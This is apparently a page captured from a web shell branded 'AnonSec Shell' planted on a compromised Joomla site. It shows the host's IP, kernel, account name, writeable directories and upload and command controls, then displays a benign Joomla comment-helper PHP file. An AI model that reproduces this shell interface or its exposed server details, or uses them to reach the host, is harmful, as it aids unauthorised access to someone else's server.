AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/aix/administrator/components/com_comment/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/aix/administrator/components/com_comment/helpers/components.php
<?php
/**
 * @author     Daniel Dimitrov <daniel@compojoom.com>
 * @date       18.02.13
 * @copyright  Copyright (C) 2008 - 2013 compojoom.com . All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die('Restricted access');

class CcommentHelperComponents
{
	protected static $components;

	public static function isInstalled($component)
	{
		$components = self::getComponents();

		if(isset($components[$component])) {
			return $components[$component];
		}

		return false;
	}

	/**
	 * Checks if components that we support are installed
	 *
	 * @return array
	 */
	protected static function getComponents() {

		if(!isset(self::$components)) {
			jimport('joomla.filesystem.folder');

			$components = array(
				'com_comprofiler' => false,
				'com_community' => false,
				'com_k2' => false,
				'com_kunena' => false);

				foreach($components as $key => $value) {
				$folderPath = JPATH_SITE . '/' . 'components/' . $key;
				$components[$key] = JFolder::exists($folderPath);
			}

			self::$components = $components;
		}

		return self::$components;
	}

	/**
	 * Get a list with supported comments
	 */
	public static function getComponentList() {
		jimport('joomla.filesystem.folder');
		$list = JFolder::folders(JPATH_COMPONENT_ADMINISTRATOR.'/plugins/');
		$options = array();

		foreach($list as $value) {
			$options[$value] = $value;
		}
		return $options;
	}

	public static function getComponentVersion($component) {
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('manifest_cache')->from('#__extensions')
			->where('element ='.$db->q($component))
			->where('type='.$db->q('component'));
		$db->setQuery($query);

		$manifest = $db->loadObject();
		$registry = new JRegistry();
		if($manifest) {
			$registry->loadString($manifest->manifest_cache);
			return $registry;
		}

		return $registry;
	}
}

Anon7 - 2022
AnonSec Team